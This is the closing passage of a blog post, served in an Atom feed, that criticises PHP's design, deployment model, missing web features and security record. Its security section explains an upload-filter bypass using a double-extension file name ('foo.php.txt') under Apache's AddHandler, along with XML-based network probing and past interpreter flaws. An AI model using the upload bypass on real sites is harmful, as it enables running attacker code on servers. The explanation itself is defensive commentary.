  <li>Declaring a function named <code>__lambda_func</code> will break <code>create_function</code>—the <em>actual</em> implementation is to <code>eval</code>-create the function named <code>__lambda_func</code>, then internally rename it to the broken name.  If <code>__lambda_func</code> already exists, the first part will throw a fatal error.</li>
</ul>

<h4 id="other">Other</h4>

<ul>
  <li>Incrementing (<code>++</code>) a <code>NULL</code> produces <code>1</code>.  Decrementing (<code>--</code>) a <code>NULL</code> produces <code>NULL</code>.  Decrementing a string likewise leaves it unchanged.</li>
  <li>There are no generators.</li>
</ul>

<h3 id="web-framework">Web framework</h3>

<h4 id="execution">Execution</h4>

<ul>
  <li>A single shared file, <code>php.ini</code>, controls <em>massive</em> parts of PHP’s functionality and introduces complex rules regarding what overrides what and when.  PHP software that expects to be deployed on arbitrary machines has to override settings anyway to normalize its environment, which largely defeats the use of a mechanism like <code>php.ini</code> anyway.
    <ul>
      <li>PHP looks for <code>php.ini</code> in a variety of places, so it may (or may not…) be possible to override your host’s.  Only <em>one</em> such file will ever be parsed, though, so you can’t just override a couple settings and call it a day.</li>
    </ul>
  </li>
  <li>
    <p>PHP basically runs as CGI.  Every time a page is hit, PHP recompiles the whole thing before executing it.  Even dev servers for Python toy frameworks don’t act like this.</p>

    <p>This has led to a whole market of “PHP accelerators” that just compile once, accelerating PHP all the way to any other language.  Zend, the company behind PHP, has made this part of their <a href="http://www.zend.com/products/server/">business model</a>.</p>
  </li>
  <li>For quite a long time, PHP errors went to the client by default—I guess to help during development.  I don’t think this is true any more, but I still see the occasional mysql error spew at the top of a page.</li>
  <li>PHP is full of strange “easter eggs” like <a href="http://phpsadness.com/sad/11">producing the PHP logo with the right query argument</a>.  Not only is this completely irrelevant to building <em>your</em> application, but it allows detecting whether you’re using PHP (and perhaps roughly guessing what version), regardless of how much <code>mod_rewrite</code>, FastCGI, reverse proxying, or <code>Server:</code> configuration you’re doing.</li>
  <li>Blank lines before or after the <code>&lt;?php ... ?&gt;</code> tags, even in libraries, count as literal text and is interpolated into the response (or causes “headers already sent” errors).  Your options are to either strictly avoid extra blank lines at the end of every file (the one after the <code>?&gt;</code> doesn’t count) or to just leave off the <code>?&gt;</code> closing token.</li>
</ul>

<h4 id="deployment">Deployment</h4>

<p>Deployment is often cited as the biggest advantage of PHP: drop some files and you’re done.  Indeed, that’s much easier than running a whole process as you may have to do with Python or Ruby or Perl.  But PHP leaves plenty to be desired.</p>

<p>Across the board, I’m in favor of running Web applications as app servers and reverse-proxying to them.  It takes minimal effort to set this up, and the benefits are plenty: you can manage your web server and app separately, you can run as many or few app processes on as many machines as you want without needing more web servers, you can run the app as a different user with zero effort, you can switch web servers, you can take down the app without touching the web server, you can do seamless deployment by just switching where a fifo points, etc.  Welding your application to your web server is absurd and there’s no good reason to do it any more.</p>

<ul>
  <li>PHP is naturally tied to Apache.  Running it separately, or with any other webserver, requires just as much mucking around (possibly more) as deploying any other language.</li>
  <li><code>php.ini</code> applies to every PHP application run anywhere.  There is only one <code>php.ini</code> file, and it applies globally; if you’re on a shared server and need to change it, or if you run two applications that need different settings, you’re out of luck; you have to apply the union of all necessary settings and pare them down from inside the apps themselves using <code>ini_set</code> or in Apache’s configuration file or in <code>.htaccess</code>.  If you can.  Also wow that is a lot of places you need to check to figure out how a setting is getting its value.</li>
  <li>Similarly, there is no easy way to “insulate” a PHP application and its dependencies from the rest of a system.  Running two applications that require different versions of a library, or even PHP itself?  Start by building a second copy of Apache.</li>
  <li>The “bunch of files” approach, besides making routing a huge pain in the ass, also means you have to carefully whitelist or blacklist what stuff is actually available, because your URL hierarchy is also your entire code tree.  Configuration files and other “partials” need C-like guards to prevent them from being loaded directly.  Version control noise (e.g., <code>.svn</code>) needs protecting.  With <code>mod_php</code>, <em>everything</em> on your filesystem is a potential entry point; with an app server, there’s only one entry point, and only the URL controls whether it’s invoked.</li>
  <li>You can’t seamlessly upgrade a bunch of files that run CGI-style, unless you want crashes and undefined behavior as users hit your site halfway through the upgrade.</li>
  <li>
    <p>Despite how “simple” it is to configure Apache to run PHP, there are some subtle traps even there.  While the PHP docs suggest using <code>SetHandler</code> to make <code>.php</code> files run as PHP, <code>AddHandler</code> appears to work just as well, and in fact Google gives me twice as many results for it.  Here’s the problem.</p>

    <p>When you use <code>AddHandler</code>, you are telling Apache that “execute this as php” is <em>one possible</em> way to handle <code>.php</code> files.  <strong>But</strong>!  Apache doesn’t have the same idea of file extensions that every human being on the planet does.  It’s designed to support, say, <code>index.html.en</code> being recognized as both English and HTML.  To Apache, a file can have <em>any number</em> of file extensions simultaneously.</p>

    <p>Imagine you have a file upload form that dumps files into some public directory.  To make sure nobody uploads PHP files, you just check that they don’t have a <code>.php</code> extension.  All an attacker has to do is upload a file named <code>foo.php.txt</code>; your uploader won’t see a problem, but Apache <em>will</em> recognize it as PHP, and it will happily execute.</p>

    <p>The problem here isn’t “using the original filename” or “not validating better”; the problem is that your web server is configured to run any old code it runs across—precisely the same property that makes PHP “easy to deploy”.  CGI required <code>+x</code>, which was <em>something</em>, but PHP doesn’t even do that.  And this is no theoretical problem; I’ve found multiple live sites with this issue.</p>
  </li>
</ul>

<h4 id="missing-features">Missing features</h4>

<p>I consider all of these to be varying levels of critical for building a Web application.  It seems reasonable that PHP, with its major selling point being that it’s a “Web language”, ought to have some of them.</p>

<ul>
  <li>No template system.  There’s PHP itself, but nothing that acts as a big interpolator rather than a program.</li>
  <li>No XSS filter.  No, “remember to use <code>htmlspecialchars</code>” is not an XSS filter.  <a href="http://pypi.python.org/pypi/MarkupSafe">This is.</a></li>
  <li>No CSRF protection.  You get to do it yourself.</li>
  <li>No generic standard database API.  Stuff like PDO has to wrap every individual database’s API to abstract the differences away.</li>
  <li>No routing.  Your website looks exactly like your filesystem.  Many developers have been tricked into thinking <code>mod_rewrite</code> (and <code>.htaccess</code> in general) is an acceptable substitute.</li>
  <li>No authentication or authorization.</li>
  <li>No dev server.  (“Fixed” in 5.4.  Led to the <code>Content-Length</code> vuln below.  Also, you have to port all your rewrite rules to a PHP wrapper thing, because there’s no routing.)</li>
  <li>No interactive debugging.</li>
  <li>No coherent deployment mechanism; only “copy all these files to the server”.</li>
</ul>

<h3 id="security">Security</h3>

<h4 id="language-boundaries">Language boundaries</h4>

<p>PHP’s poor security reputation is largely because it will take arbitrary data from one language and dump it into another.  This is a bad idea.  <code>"&lt;script&gt;"</code> may not mean anything in SQL, but it sure does in HTML.</p>

<p>Making this worse is the common cry for “sanitizing your inputs”.  That’s completely <em>wrong</em>; you can’t wave a magic wand to make a chunk of data inherently “clean”.  What you need to do is speak the language: use placeholders with SQL, use argument lists when spawning processes, etc.</p>

<ul>
  <li>PHP outright <em>encourages</em> “sanitizing”: there’s an entire <a href="http://www.php.net/manual/en/book.filter.php">data filtering extension</a> for doing it.</li>
  <li>All the <code>addslashes</code>, <code>stripslashes</code>, and other slashes-related nonsense are red herrings that don’t help anything.</li>
  <li>There is, as far as I can tell, no way to safely spawn a process.  You can ONLY execute a string via the shell.  Your options are to escape like crazy and hope the default shell uses the right escaping, or <code>pcntl_fork</code> and <code>pcntl_exec</code> <em>manually</em>.</li>
  <li>Both <code>escapeshellcmd</code> and <code>escapeshellarg</code> exist with roughly similar descriptions.  Note that on Windows, <code>escapeshellarg</code> does not work (because it assumes Bourne shell semantics), and <code>escapeshellcmd</code> just replaces a bunch of punctuation with spaces because nobody can figure out Windows cmd escaping (which may silently wreck whatever you’re trying to do).</li>
  <li>The original built-in MySQL bindings, still widely-used, have no way to create prepared statements.</li>
</ul>

<p>To this day, the <a href="http://www.php.net/manual/en/security.database.sql-injection.php">PHP documentation on SQL injection</a> recommends batty practices like type-checking, using <code>sprintf</code> and <code>is_numeric</code>, manually using <code>mysql_real_escape_string</code> everywhere, or manually using <code>addslashes</code> everywhere (which “may be useful”!).  There is no mention of PDO or paramaterization, except in the user comments.  I complained about this very specifically <em>to a PHP dev</em> at least two years ago, he was alarmed, and the page has never changed.</p>

<h4 id="insecure-by-default">Insecure-by-default</h4>

<ul>
  <li><code>register_globals</code>.  It’s been off by default for a while by now, and it’s gone in 5.4.  I don’t care.  This is an <em>embarrassment</em>.</li>
  <li><code>include</code> accepting HTTP URLs.  Likewise.</li>
  <li>Magic quotes.  So close to secure-by-default, and yet so far from understanding the concept at all.  And, likewise.</li>
  <li>You can, say, <a href="http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/">probe a network</a> using PHP’s XML support, by abusing its ubiquitous support for filenames-as-URLs.  Only <code>libxml_disable_entity_loader()</code> can fix this, and the problem is only mentioned in the manual comments.</li>
</ul>

<h4 id="core">Core</h4>

<p>The PHP interpreter itself has had some <em>fascinating</em> security problems.</p>

<ul>
  <li>In 2007 the interpreter had an integer overflow vulnerability.  The fix started with <code>if (size &gt; INT_MAX) return NULL;</code> and went <a href="http://use.perl.org/use.perl.org/_Aristotle/journal/33448.html">downhill from there</a>.  (For those not down with the C: <code>INT_MAX</code> is the biggest integer that will fit in a variable, ever.  I hope you can figure out the rest from there.)</li>
  <li>More recently, PHP 5.3.7 managed to include a <code>crypt()</code> function that would, in effect, <a href="https://bugs.php.net/bug.php?id=55439">let anyone log in with any password</a>.</li>
  <li>PHP 5.4’s dev server is vulnerable to a denial of service, because it takes the <code>Content-Length</code> header (which anyone can set to anything) and tries to allocate that much memory.  <a href="http://www.exploit-db.com/exploits/18665/">This is a bad idea.</a></li>
</ul>

<p>I could dig up more but the point isn’t that there are X many exploits—software has bugs, it happens, whatever.  The <em>nature</em> of these is horrifying.  And I didn’t seek these out; they just happened to land on my doorstep in the last few months.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Some commentary has rightfully pointed out that I don’t have a conclusion.  And, well, I don’t have a conclusion.  If you got all the way down here, I assumed you agreed with me before you started  :)</p>

<p>If you only know PHP and you’re curious to learn something else, give the <a href="http://docs.python.org/tutorial/">Python tutorial</a> a whirl and try <a href="http://flask.pocoo.org/">Flask</a> for the web stuff.  (I’m not a huge fan of its template language, but it does the job.)  It breaks apart the pieces of your app, but they’re still the same pieces and should look familiar enough.  I might write a real post about this later; a whirlwind introduction to an entire language and web stack doesn’t belong down here.</p>

<p>Later or for bigger projects you may want <a href="http://www.pylonsproject.org/">Pyramid</a>, which is medium-level, or <a href="https://www.djangoproject.com/">Django</a>, which is a complex monstrosity that works well for building sites like Django’s.</p>

<p>If you’re not a developer at all but still read this for some reason, I will not be happy until everyone on the planet has gone through <a href="http://learnpythonthehardway.org/">Learn Python The Hard Way</a> so go do that.</p>

<p>There’s also Ruby with Rails and some competitors I’ve never used, and Perl is still alive and kicking with Catalyst.  Read things, learn things, build things, go nuts.</p>

<h2 id="credits">Credits</h2>

<p>Thanks to the following for inspiration:</p>

<ul>
  <li><a href="http://alokmenghrajani.github.com/wtf/php.html">PHP turtles</a></li>
  <li><a href="http://phpsadness.com/">PHP sadness</a></li>
  <li><a href="http://www.phpwtf.org/">PHP WTF</a></li>
  <li><a href="http://wiki.theory.org/YourLanguageSucks#PHP_sucks_because%3A">YourLanguageSucks</a></li>
  <li><a href="http://tnx.nl/php.html">PHP in contrast to Perl</a></li>
  <li><a href="http://two-pi-r.livejournal.com/622760.html">Pi’s dense, angry, inspirational rant</a></li>
  <li><a href="http://tracks.ranea.org/post/13908062333/php-is-not-an-acceptable-cobol">PHP is not an acceptable COBOL</a></li>
  <li><a href="http://www.php.net/manual/en/index.php">the PHP documentation</a></li>
  <li>a ton of PHP fanatics and PHP counter-fanatics</li>
  <li>and, of course, Rasmus Lerdorf for his wild misunderstanding of most of Perl</li>
</ul>

<p>Let me know if you have any additions, or if I’m (factually!) wrong about something.</p>

]]></content>
  </entry>
  
</feed>
